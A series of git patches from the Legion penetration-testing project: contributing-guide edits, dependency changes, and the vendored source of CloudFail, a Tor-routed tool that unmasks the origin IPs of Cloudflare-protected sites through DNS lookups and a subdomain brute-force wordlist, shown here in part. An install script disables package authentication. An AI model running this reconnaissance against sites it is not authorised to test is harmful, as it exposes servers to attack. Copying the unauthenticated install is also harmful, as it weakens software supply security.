already exists**, go ahead and comment on the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just don't make a new issue. -* **If you can't find the issue**, its time to open a new issue. Fill in the issue title with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. +* **If you can't find the issue**, its time to open a new issue. Fill in the issue title with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. Tag the issue if it fits into one of our existing categories. From fadb45a8418a88cca1b2868f395b9f5a5416f70e Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 13:37:12 -0400 Subject: [PATCH 202/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 4d51ab2e..d75d3983 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -13,7 +13,7 @@ Are you interested in contributing to Legion? We love contributors! We ask that #### Did you find a bug? * Awesome. First, ensure that your bug isn't a duplicate by checking the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue already exists**, go ahead and comment on the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just don't make a new issue. -* **If you can't find the issue**, its time to open a new issue. Fill in the issue title with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. Tag the issue if it fits into one of our existing categories. +* **If you can't find the issue**, its time to [open a new issue](https://github.com/GoVanguard/legion/issues/new). Fill in the issue with a clear title and description. Where possible, include steps to reproduce the bug, code samples, and screenshots. Tag the issue if it fits into one of our existing categories. From 5865e211f9fbf1f178be8faa055304b9aa9a2111 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 13:45:50 -0400 Subject: [PATCH 203/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index d75d3983..4914be9a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -28,7 +28,8 @@ Are you interested in contributing to Legion? We love contributors! We ask that #### Do you want to add a feature? * We love new features! Please [make an issue](https://github.com/GoVanguard/legion/issues/new) for discussion, with a clear title and description of the proposed feature. Add the Proposal tag, and use the comments to follow up with the team. -* We suggest you wait for feedback on your feature proposal before working on a patch and submitting a PR. +* Wait for a response and approval to your proposal before working on your patch and submitting a PR. This way, if we find any problems with the proposal, and discuss remediation before work gets wasted. +* Once your feature is complete, all you need to do is [submit a PR](https://github.com/GoVanguard/legion/pulls). From 4ac2ea9d461360638153d3ce91621b977c84eeff Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 3 Apr 2019 13:53:56 -0400 Subject: [PATCH 204/450] Added dep for cloudfail --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 946c34ba..759509dd 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,3 +13,4 @@ requests==2.20.1 pyfiglet colorama termcolor +win_inet_pton From d873bede88b64be90c5a6e8ae387a02c875f6156 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 5 Apr 2019 16:18:14 -0400 Subject: [PATCH 205/450] temporary brute forcing of python 3.7 --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index 12c4e54a..be446d64 100644 --- a/legion.conf +++ b/legion.conf @@ -275,7 +275,7 @@ webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 dnsmap=Run dnsmap, "dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT]", dnsmap -cloudfail=Run cloudfail, "python scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail +cloudfail=Run cloudfail, "python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor", cloudfail [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], From 5ec747ac8446d2c38dd202baf7e84743bb23cf16 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 10 Apr 2019 16:52:45 -0400 Subject: [PATCH 206/450] Added urlscan --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index e1604cee..dc9cfcc5 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,4 +9,4 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap git \ No newline at end of file +DEBIAN_FRONTEND="noninteractive" apt-get -yqqq --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap wapiti libqt5core5a python-pip python-impacket ruby perl dnsmap urlscan git From 50fb72cc620be6e361fe8c8de72369d631ac1547 Mon Sep 17 00:00:00 2001 From: GitHub Date: Thu, 11 Apr 2019 16:27:07 -0400 Subject: [PATCH 207/450] Fixed issue #88 with addHosts call --- ui/view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index 2111f8a6..ff6c4783 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1466,7 +1466,7 @@ def callHydra(self, bWidget): return else: log.info('Adding host to scope here!!') - self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False) + self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, "unset", "unset") bWidget.validationLabel.hide() bWidget.toggleRunButton() From 3c3071111e52709b3ddcbcaadab3c87477e211cb Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 12 Apr 2019 09:51:00 -0400 Subject: [PATCH 208/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 4914be9a..7ebc2045 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,12 +4,6 @@ Are you interested in contributing to Legion? We love contributors! We ask that -#### Do you have a general question? - -* Ask your question [ place to ask questions ] - - - #### Did you find a bug? * Awesome. First, ensure that your bug isn't a duplicate by checking the [Issues](https://github.com/GoVanguard/legion/issues). **If the issue already exists**, go ahead and comment on the issue with your bug report information, following the guidelines below as if you were reporting a new issue - just don't make a new issue. @@ -33,6 +27,12 @@ Are you interested in contributing to Legion? We love contributors! We ask that +#### Do you have a general question? + +* Ask your question [ place to ask questions ] + + + #### Code of Conduct We like to keep the rules simple. From 58fa0ab954d0386976684dca42529aff3143b726 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 12 Apr 2019 09:52:35 -0400 Subject: [PATCH 209/450] Update CONTRIBUTING.md --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7ebc2045..9dab01b7 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -29,7 +29,7 @@ Are you interested in contributing to Legion? We love contributors! We ask that #### Do you have a general question? -* Ask your question [ place to ask questions ] +* If you have any questions not related to legion's code, features, or bugs use support@gvit.com From adc99e2553165654cce3fd5538f503f6d13aecc3 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 12 Apr 2019 09:05:38 -0500 Subject: [PATCH 210/450] Updating for Parrot 4.6, add catch all for unknown, chmod deps and scripts --- scripts/CloudFail/.gitignore | 5 + scripts/CloudFail/DNSDumpsterAPI.py | 84 + scripts/CloudFail/Dockerfile | 18 + scripts/CloudFail/LICENSE.md | 21 + scripts/CloudFail/README.md | 61 + scripts/CloudFail/cloudfail.py | 294 +++ scripts/CloudFail/data/cf-subnet.txt | 14 + scripts/CloudFail/data/subdomains.txt | 2897 +++++++++++++++++++++++++ scripts/CloudFail/requirements.txt | 9 + scripts/CloudFail/socks.py | 765 +++++++ scripts/CloudFail/sockshandler.py | 79 + 11 files changed, 4247 insertions(+) create mode 100644 scripts/CloudFail/.gitignore create mode 100644 scripts/CloudFail/DNSDumpsterAPI.py create mode 100644 scripts/CloudFail/Dockerfile create mode 100644 scripts/CloudFail/LICENSE.md create mode 100644 scripts/CloudFail/README.md create mode 100644 scripts/CloudFail/cloudfail.py create mode 100644 scripts/CloudFail/data/cf-subnet.txt create mode 100644 scripts/CloudFail/data/subdomains.txt create mode 100644 scripts/CloudFail/requirements.txt create mode 100644 scripts/CloudFail/socks.py create mode 100644 scripts/CloudFail/sockshandler.py diff --git a/scripts/CloudFail/.gitignore b/scripts/CloudFail/.gitignore new file mode 100644 index 00000000..865a5766 --- /dev/null +++ b/scripts/CloudFail/.gitignore @@ -0,0 +1,5 @@ +.idea/* +*.pyc +__pycache__ +venv/ +data/ipout \ No newline at end of file diff --git a/scripts/CloudFail/DNSDumpsterAPI.py b/scripts/CloudFail/DNSDumpsterAPI.py new file mode 100644 index 00000000..bf93edcc --- /dev/null +++ b/scripts/CloudFail/DNSDumpsterAPI.py @@ -0,0 +1,84 @@ +""" +This is the (unofficial) Python API for dnsdumpster.com Website. +Using this code, you can retrieve subdomains +Author: https://github.com/PaulSec/ +""" +from __future__ import print_function + +import re +import sys +import requests + +from bs4 import BeautifulSoup + + +class DNSDumpsterAPI(object): + + """DNSDumpsterAPI Main Handler""" + + def __init__(self, verbose=False): + self.verbose = verbose + + def display_message(self, string): + if self.verbose: + print('[verbose] %s' % string) + + def retrieve_results(self, table): + res = [] + trs = table.findAll('tr') + for tr in trs: + tds = tr.findAll('td') + pattern_ip = r'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})' + ip = re.findall(pattern_ip, tds[1].text)[0] + domain = tds[0].text.replace('\n', '') + + additional_info = tds[2].text + country = tds[2].find('span', attrs={}).text + autonomous_system = additional_info.split(' ')[0] + provider = ' '.join(additional_info.split(' ')[1:]) + provider = provider.replace(country, '') + data = {'domain': domain, 'ip': ip, 'as': autonomous_system, 'provider': provider, 'country': country} + res.append(data) + return res + + def retrieve_txt_record(self, table): + res = [] + for td in table.findAll('td'): + res.append(td.text) + return res + + def search(self, domain): + dnsdumpster_url = 'https://dnsdumpster.com/' + s = requests.session() + + req = s.get(dnsdumpster_url) + soup = BeautifulSoup(req.content, 'html.parser') + csrf_middleware = soup.findAll('input', attrs={'name': 'csrfmiddlewaretoken'})[0]['value'] + self.display_message('Retrieved token: %s' % csrf_middleware) + + cookies = {'csrftoken': csrf_middleware} + headers = {'Referer': dnsdumpster_url} + data = {'csrfmiddlewaretoken': csrf_middleware, 'targetip': domain} + req = s.post(dnsdumpster_url, cookies=cookies, data=data, headers=headers) + + if req.status_code != 200: + print( + u"Unexpected status code from {url}: {code}".format( + url=dnsdumpster_url, code=req.status_code), + file=sys.stderr, + ) + return [] + + if 'error getting results' in req.content.decode('utf-8'): + print("There was an error getting results", file=sys.stderr) + return [] + + soup = BeautifulSoup(req.content, 'html.parser') + tables = soup.findAll('table') + + res = {'domain': domain, 'dns_records': {}} + res['dns_records']['dns'] = self.retrieve_results(tables[0]) + res['dns_records']['mx'] = self.retrieve_results(tables[1]) + res['dns_records']['txt'] = self.retrieve_txt_record(tables[2]) + res['dns_records']['host'] = self.retrieve_results(tables[3]) + return res \ No newline at end of file diff --git a/scripts/CloudFail/Dockerfile b/scripts/CloudFail/Dockerfile new file mode 100644 index 00000000..b45ee264 --- /dev/null +++ b/scripts/CloudFail/Dockerfile @@ -0,0 +1,18 @@ +FROM debian:sid + +ENV LANG C.UTF-8 +ENV USER root +ENV HOME /cloudfail +ENV DEBIAN_FRONTEND noninteractive + +RUN apt-get update + +RUN apt-get install -yq python3-pip + +COPY . $HOME + +WORKDIR $HOME + +RUN pip3 install -r requirements.txt + +ENTRYPOINT ["python3", "cloudfail.py"] diff --git a/scripts/CloudFail/LICENSE.md b/scripts/CloudFail/LICENSE.md new file mode 100644 index 00000000..7f0fdfb5 --- /dev/null +++ b/scripts/CloudFail/LICENSE.md @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2017 m0rtem + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/scripts/CloudFail/README.md b/scripts/CloudFail/README.md new file mode 100644 index 00000000..327461d7 --- /dev/null +++ b/scripts/CloudFail/README.md @@ -0,0 +1,61 @@ +# CloudFail + +CloudFail is a tactical reconnaissance tool which aims to gather enough information about a target protected by Cloudflare in the hopes of discovering the location of the server. Using Tor to mask all requests, the tool as of right now has 3 different attack phases. + +1. Misconfigured DNS scan using DNSDumpster.com. +2. Scan the Crimeflare.com database. +3. Bruteforce scan over 2500 subdomains. + +![Example usage](http://puu.sh/pq7vH/62d56aa41f.png "Example usage") + +> Please feel free to contribute to this project. If you have an idea or improvement issue a pull request! + +#### Disclaimer +This tool is a PoC (Proof of Concept) and does not guarantee results. It is possible to setup Cloudflare properly so that the IP is never released or logged anywhere; this is not often the case and hence why this tool exists. +This tool is only for academic purposes and testing under controlled environments. Do not use without obtaining proper authorization +from the network owner of the network under testing. +The author bears no responsibility for any misuse of the tool. + +#### Install on Kali/Debian + +First we need to install pip3 for python3 dependencies: + +```$ sudo apt-get install python3-pip``` + +Then we can run through dependency checks: + +```$ pip3 install -r requirements.txt``` + +#### Usage + +To run a scan against a target: + +```python3 cloudfail.py --target seo.com``` + +To run a scan against a target using Tor: + +```service tor start``` + +(or if you are using Windows or Mac install vidalia or just run the Tor browser) + +```python3 cloudfail.py --target seo.com --tor``` + +> Please make sure you are running with Python3 and not Python2.*. + + +#### Dependencies +**Python3** +* argparse +* colorama +* socket +* binascii +* datetime +* requests +* win_inet_pton + +## Donate BTC +> 13eiCHxmAEaRZDXcgKJVtVnCKK5mTR1u1F + +Buy me a beer or coffee... or both! +If you donate send me a message and I will add you to the credits! +Thank YOU! diff --git a/scripts/CloudFail/cloudfail.py b/scripts/CloudFail/cloudfail.py new file mode 100644 index 00000000..a9f7d5e3 --- /dev/null +++ b/scripts/CloudFail/cloudfail.py @@ -0,0 +1,294 @@ +#!/usr/bin/env python3 +from __future__ import print_function +import argparse +import sys +import socket +import binascii +import datetime +import socks +import requests +import colorama +import zipfile +import os +import win_inet_pton +import platform +from colorama import Fore, Style +from DNSDumpsterAPI import DNSDumpsterAPI + +colorama.init(Style.BRIGHT) + + +def print_out(data, end='\n'): + datetimestr = str(datetime.datetime.strftime(datetime.datetime.now(), '%H:%M:%S')) + print(Style.NORMAL + "[" + datetimestr + "] " + data + Style.RESET_ALL,' ', end=end) + + +def ip_in_subnetwork(ip_address, subnetwork): + (ip_integer, version1) = ip_to_integer(ip_address) + (ip_lower, ip_upper, version2) = subnetwork_to_ip_range(subnetwork) + + if version1 != version2: + raise ValueError("incompatible IP versions") + + return (ip_lower <= ip_integer <= ip_upper) + + +def ip_to_integer(ip_address): + # try parsing the IP address first as IPv4, then as IPv6 + for version in (socket.AF_INET, socket.AF_INET6): + try: + ip_hex = win_inet_pton.inet_pton(version, ip_address) if platform == 'Windows' else socket.inet_pton(version, ip_address) + ip_integer = int(binascii.hexlify(ip_hex), 16) + + return ip_integer, 4 if version == socket.AF_INET else 6 + except: + pass + + raise ValueError("invalid IP address") + + +def subnetwork_to_ip_range(subnetwork): + try: + fragments = subnetwork.split('/') + network_prefix = fragments[0] + netmask_len = int(fragments[1]) + + # try parsing the subnetwork first as IPv4, then as IPv6 + for version in (socket.AF_INET, socket.AF_INET6): + + ip_len = 32 if version == socket.AF_INET else 128 + + try: + suffix_mask = (1 << (ip_len - netmask_len)) - 1 + netmask = ((1 << ip_len) - 1) - suffix_mask + ip_hex = socket.inet_pton(version, network_prefix) + ip_lower = int(binascii.hexlify(ip_hex), 16) & netmask + ip_upper = ip_lower + suffix_mask + + return (ip_lower, + ip_upper, + 4 if version == socket.AF_INET else 6) + except: + pass + except: + pass + + raise ValueError("invalid subnetwork") + + +def dnsdumpster(target): + print_out(Fore.CYAN + "Testing for misconfigured DNS using dnsdumpster...") + + res = DNSDumpsterAPI(False).search(target) + + if res['dns_records']['host']: + for entry in res['dns_records']['host']: + provider = str(entry['provider']) + if "Cloudflare" not in provider: + print_out( + Style.BRIGHT + Fore.WHITE + "[FOUND:HOST] " + Fore.GREEN + "{domain} {ip} {as} {provider} {country}".format( + **entry)) + + if res['dns_records']['dns']: + for entry in res['dns_records']['dns']: + provider = str(entry['provider']) + if "Cloudflare" not in provider: + print_out( + Style.BRIGHT + Fore.WHITE + "[FOUND:DNS] " + Fore.GREEN + "{domain} {ip} {as} {provider} {country}".format( + **entry)) + + if res['dns_records']['mx']: + for entry in res['dns_records']['mx']: + provider = str(entry['provider']) + if "Cloudflare" not in provider: + print_out( + Style.BRIGHT + Fore.WHITE + "[FOUND:MX] " + Fore.GREEN + "{ip} {as} {provider} {domain}".format( + **entry)) + + +def crimeflare(target): + print_out(Fore.CYAN + "Scanning crimeflare database...") + + with open("data/ipout", "r") as ins: + crimeFoundArray = [] + for line in ins: + lineExploded = line.split(" ") + if lineExploded[1] == args.target: + crimeFoundArray.append(lineExploded[2]) + else: + continue + if (len(crimeFoundArray) != 0): + for foundIp in crimeFoundArray: + print_out(Style.BRIGHT + Fore.WHITE + "[FOUND:IP] " + Fore.GREEN + "" + foundIp.strip()) + else: + print_out("Did not find anything.") + + +def init(target): + if args.target: + print_out(Fore.CYAN + "Fetching initial information from: " + args.target + "...") + else: + print_out(Fore.RED + "No target set, exiting") + sys.exit(1) + + if not os.path.isfile("data/ipout"): + print_out(Fore.CYAN + "No ipout file found, fetching data") + update() + print_out(Fore.CYAN + "ipout file created") + + try: + ip = socket.gethostbyname(args.target) + except socket.gaierror: + print_out(Fore.RED + "Domain is not valid, exiting") + sys.exit(0) + + print_out(Fore.CYAN + "Server IP: " + ip) + print_out(Fore.CYAN + "Testing if " + args.target + " is on the Cloudflare network...") + + try: + ifIpIsWithin = inCloudFlare(ip) + + if ifIpIsWithin: + print_out(Style.BRIGHT + Fore.GREEN + args.target + " is part of the Cloudflare network!") + else: + print_out(Fore.RED + args.target + " is not part of the Cloudflare network, quitting...") + sys.exit(0) + except ValueError: + print_out(Fore.RED + "IP address does not appear to be within Cloudflare range, shutting down..") + sys.exit(0) + + +def inCloudFlare(ip): + with open('{}/data/cf-subnet.txt'.format(os.getcwd())) as f: + for line in f: + isInNetwork = ip_in_subnetwork(ip, line) + if isInNetwork: + return True + return False + + +def subdomain_scan(target, subdomains): + i = 0 + c = 0 + if subdomains: + subdomainsList = subdomains + else: + subdomainsList = "subdomains.txt" + try: + with open("data/" + subdomainsList, "r") as wordlist: + numOfLines = len(open("data/subdomains.txt").readlines( )) + numOfLinesInt = numOfLines + numOfLines = str(numOfLines) + print_out(Fore.CYAN + "Scanning " + numOfLines + " subdomains (" + subdomainsList + "), please wait...") + for word in wordlist: + c += 1 + if (c % int((float(numOfLinesInt) / 100.0))) == 0: + print_out(Fore.CYAN + str(round((c / float(numOfLinesInt)) * 100.0, 2)) + "% complete", '\r') + + subdomain = "{}.{}".format(word.strip(), target) + try: + target_http = requests.get("http://"+subdomain) + target_http = str(target_http.status_code) + ip = socket.gethostbyname(subdomain) + ifIpIsWithin = inCloudFlare(ip) + + if not ifIpIsWithin: + i += 1 + print_out(Style.BRIGHT+Fore.WHITE+"[FOUND:SUBDOMAIN] "+Fore.GREEN + subdomain + " IP: " + ip + " HTTP: " + target_http) + else: + print_out(Style.BRIGHT+Fore.WHITE+"[FOUND:SUBDOMAIN] "+Fore.RED + subdomain + " ON CLOUDFLARE NETWORK!") + continue + + except requests.exceptions.RequestException as e: + continue + if(i == 0): + print_out(Fore.CYAN + "Scanning finished, we did not find anything sorry...") + else: + print_out(Fore.CYAN + "Scanning finished...") + + except IOError: + print_out(Fore.RED + "Subdomains file does not exist in data directory, aborting scan...") + sys.exit(1) + +def update(): + print_out(Fore.CYAN + "Just checking for updates, please wait...") + print_out(Fore.CYAN + "Updating CloudFlare subnet...") + if(args.tor == False): + headers = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11'} + r = requests.get("https://www.cloudflare.com/ips-v4", headers=headers, cookies={'__cfduid': "d7c6a0ce9257406ea38be0156aa1ea7a21490639772"}, stream=True) + with open('data/cf-subnet.txt', 'wb') as fd: + for chunk in r.iter_content(4000): + fd.write(chunk) + else: + print_out(Fore.RED + Style.BRIGHT+"Unable to fetch CloudFlare subnet while TOR is active") + print_out(Fore.CYAN + "Updating Crimeflare database...") + r = requests.get("http://crimeflare.net:83/domains/ipout.zip", stream=True) + with open('data/ipout.zip', 'wb') as fd: + for chunk in r.iter_content(4000): + fd.write(chunk) + zip_ref = zipfile.ZipFile("data/ipout.zip", 'r') + zip_ref.extractall("data/") + zip_ref.close() + os.remove("data/ipout.zip") + + +# END FUNCTIONS + +logo = """\ + ____ _ _ _____ _ _ + / ___| | ___ _ _ __| | ___|_ _(_) | + | | | |/ _ \| | | |/ _` | |_ / _` | | | + | |___| | (_) | |_| | (_| | _| (_| | | | + \____|_|\___/ \__,_|\__,_|_| \__,_|_|_| + v1.0.1 by m0rtem + +""" + +print(Fore.RED + Style.BRIGHT + logo + Fore.RESET) +datestr = str(datetime.datetime.strftime(datetime.datetime.now(), '%d/%m/%Y')) +print_out("Initializing CloudFail - the date is: " + datestr) + +parser = argparse.ArgumentParser() +parser.add_argument("-t", "--target", help="target url of website", type=str) +parser.add_argument("-T", "--tor", dest="tor", action="store_true", help="enable TOR routing") +parser.add_argument("-u", "--update", dest="update", action="store_true", help="update databases") +parser.add_argument("-s", "--subdomains", help="name of alternate subdomains list stored in the data directory", type=str) +parser.set_defaults(tor=False) +parser.set_defaults(update=False) + +args = parser.parse_args() + +if args.tor is True: + ipcheck_url = 'http://canihazip.com/s' + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050) + socket.socket = socks.socksocket + try: + tor_ip = requests.get(ipcheck_url) + tor_ip = str(tor_ip.text) + + print_out(Fore.WHITE + Style.BRIGHT + "TOR connection established!") + print_out(Fore.WHITE + Style.BRIGHT + "New IP: " + tor_ip) + + except requests.exceptions.RequestException as e: + print(e, net_exc) + sys.exit(0) + +if args.update is True: + update() + +try: + + # Initialize CloudFail + init(args.target) + + # Scan DNSdumpster.com + dnsdumpster(args.target) + + # Scan Crimeflare database + crimeflare(args.target) + + # Scan subdomains with or without TOR + subdomain_scan(args.target, args.subdomains) + +except KeyboardInterrupt: + sys.exit(0) diff --git a/scripts/CloudFail/data/cf-subnet.txt b/scripts/CloudFail/data/cf-subnet.txt new file mode 100644 index 00000000..dca57f08 --- /dev/null +++ b/scripts/CloudFail/data/cf-subnet.txt @@ -0,0 +1,14 @@ +103.21.244.0/22 +103.22.200.0/22 +103.31.4.0/22 +104.16.0.0/12 +108.162.192.0/18 +131.0.72.0/22 +141.101.64.0/18 +162.158.0.0/15 +172.64.0.0/13 +173.245.48.0/20 +188.114.96.0/20 +190.93.240.0/20 +197.234.240.0/22 +198.41.128.0/17 diff --git a/scripts/CloudFail/data/subdomains.txt b/scripts/CloudFail/data/subdomains.txt new file mode 100644 index 00000000..5c4ec132 --- /dev/null +++ b/scripts/CloudFail/data/subdomains.txt @@ -0,0 +1,2897 @@ +*.b +*.blog +*.blogs +*.dev +*.mail +*.red +*.s +*.search +*.staging +0 +01 +02 +03 +1 +10 +11 +12 +13 +14 +15 +159 +16 +167 +17 +18 +19 +190 +2 +20 +202 +208 +209 +212 +213 +216 +237 +244 +3 +3com +3g +4 +4k +5 +59 +6 +61 +7 +8 +9 +98-62 +HINET-IP +ILMI +Unused +a +a.auth-ns +a01 +a02 +a1 +a2 +abc +abhsia +about +ac +academico +acceso +access +accounting +accounts +acessonet +acid +activestat +activity +ad +ad1 +ad2 +ad3 +adam +adimg +adkit +adm +admin +admin.test +administracion +administrador +administrator +administrators +admins +ads +adserver +adserver2 +adsl +adslgp +adv +advance +advertising +ae +af +affiliate +affiliates +afiliados +ag +agenda +agent +ai +aix +ajax +ak +akamai +al +alabama +alaska +albq +album +albuquerque +alerts +alestra +alpha +alt +alterwind +am +amarillo +amedd +americas +an +anaheim +analyzer +anime +ann +announce +announcements +antivirus +ao +ap +apache +apg +api +api-test +api.news +apol +apollo +app +app01 +app1 +app2 +appdev +apple +application +applications +applwi +apps +appserver +aq +ar +araba +arc +archie +archive +archives +arcsight +argentina +arizona +arkansas +arlington +arpa +ars +as +as400 +asia +asianet +ask +asm +asterix +at +athena +atlanta +atlas +att +au +auction +austin +austtx +auth +auth1 +auth2 +auth3 +auto +autodiscover +autos +av +available +avantel +aw +ayuda +az +b +b.auth-ns +b01 +b02 +b1 +b2 +b2b +b2c +ba +back +backend +backoffice +backup +backup1 +baker +bakersfield +balance +balancer +baltimore +banking +bayarea +bb +bbdd +bbs +bchsia +bcvloh +bd +bdc +be +bea +beacon +beta +beta.m +bf +bg +bgk +bh +bhm +bi +bigpond +billing +bit +bitex +biz +biztalk +bj +bk +black +blackberry +bliss +blog +blogger +blogs +blue +blueyonder +bm +bn +bna +bnc +bo +bob +bof +bois +boise +bol +bolsa +books +bootp +border +boston +boulder +boy +bpb +br +brasiltelecom +bravo +brazil +bredband +britian +broadband +broadcast +broker +bronze +brown +bs +bsd +bsd0 +bsd01 +bsd02 +bsd1 +bsd2 +bt +btas +buddy.webchat +buffalo +bug +buggalo +bugs +bugzilla +build +bulletins +burn +burner +buscador +business +buy +buzz +bv +bw +by +bz +c +c.auth-ns +ca +cable +cache +cache1 +cache2 +cache3 +cacti +cae +cafe +calendar +california +call +calvin +campus +canada +canal +cancer +canli +canon +careers +catalog +cc +ccgg +cd +cdburner +cdn +cdntest +cert +certificates +certify +certserv +certsrv +cf +cg +cgi +ch +challenge +channel +channels +charlie +charlotte +chat +chat2 +chats +chatserver +chcgil +check +checkpoint +chi +chicago +christmas +chs +ci +cicril +cidr +cims +cinci +cincinnati +cisco +cisco1 +cisco2 +citrix +ck +cl +class +classes +classifieds +classroom +cleveland +click +click1.mail +clicktrack +client +clientes +clients +clsp +clt +clta +club +clubs +cluster +clusters +cm +cmail +cms +cn +co +cocoa +code +codetel +coldfusion +colombus +colorado +columbus +com +comet.webchat +commerce +commerceserver +communigate +community +compaq +compras +compute-1 +con +concentrator +conf +conference +conferencing +confidential +connect +connecticut +consola +console +consult +consultant +consultants +consulting +consumer +contact +content +contracts +contribute +core +core0 +core01 +core2 +cork +corp +corp-eur +corpmail +corporate +correo +correoweb +cortafuegos +counter +counterstrike +coupon +courses +cp1 +cp10 +cp2 +cp3 +cp4 +cp5 +cp6 +cp7 +cp8 +cp9 +cpanel +cpe +cr +crawl +cricket +crm +crs +cs +cso +css +ct +cu +cust +cust-adsl +cust1 +cust10 +cust100 +cust101 +cust102 +cust103 +cust104 +cust105 +cust106 +cust107 +cust108 +cust109 +cust11 +cust110 +cust111 +cust112 +cust113 +cust114 +cust115 +cust116 +cust117 +cust118 +cust119 +cust12 +cust120 +cust121 +cust122 +cust123 +cust124 +cust125 +cust126 +cust13 +cust14 +cust15 +cust16 +cust17 +cust18 +cust19 +cust2 +cust20 +cust21 +cust22 +cust23 +cust24 +cust25 +cust26 +cust27 +cust28 +cust29 +cust3 +cust30 +cust31 +cust32 +cust33 +cust34 +cust35 +cust36 +cust37 +cust38 +cust39 +cust4 +cust40 +cust41 +cust42 +cust43 +cust44 +cust45 +cust46 +cust47 +cust48 +cust49 +cust5 +cust50 +cust51 +cust52 +cust53 +cust54 +cust55 +cust56 +cust57 +cust58 +cust59 +cust6 +cust60 +cust61 +cust62 +cust63 +cust64 +cust65 +cust66 +cust67 +cust68 +cust69 +cust7 +cust70 +cust71 +cust72 +cust73 +cust74 +cust75 +cust76 +cust77 +cust78 +cust79 +cust8 +cust80 +cust81 +cust82 +cust83 +cust84 +cust85 +cust86 +cust87 +cust88 +cust89 +cust9 +cust90 +cust91 +cust92 +cust93 +cust94 +cust95 +cust96 +cust97 +cust98 +cust99 +customer +customers +cv +cvs +cx +cy +cz +d +d4 +da +daily +dallas +data +database +database01 +database02 +database1 +database2 +databases +datastore +dating +datos +david +db +db0 